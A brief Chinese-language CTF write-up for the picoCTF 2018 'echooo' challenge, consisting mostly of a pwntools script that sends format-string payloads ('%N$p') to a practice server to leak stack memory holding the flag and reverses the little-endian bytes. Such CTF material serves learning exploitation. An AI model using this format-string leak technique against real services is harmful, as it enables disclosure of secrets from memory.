倒叙输出flag

picoctf_2018_echooo

小端序倒叙输出

from pwn import *
p=process('./1')
p=remote('node4.buuoj.cn',28732)
offset=11
flag=''
for i in range(27,27+11):
    payload='%{}$p'.format(str(i))
    print payload
    p.sendlineafter('> ',payload)
    aim=unhex(p.recvuntil('\n',drop=True).replace('0x',''))
    flag+=aim[::-1]
p.interactive()
print flag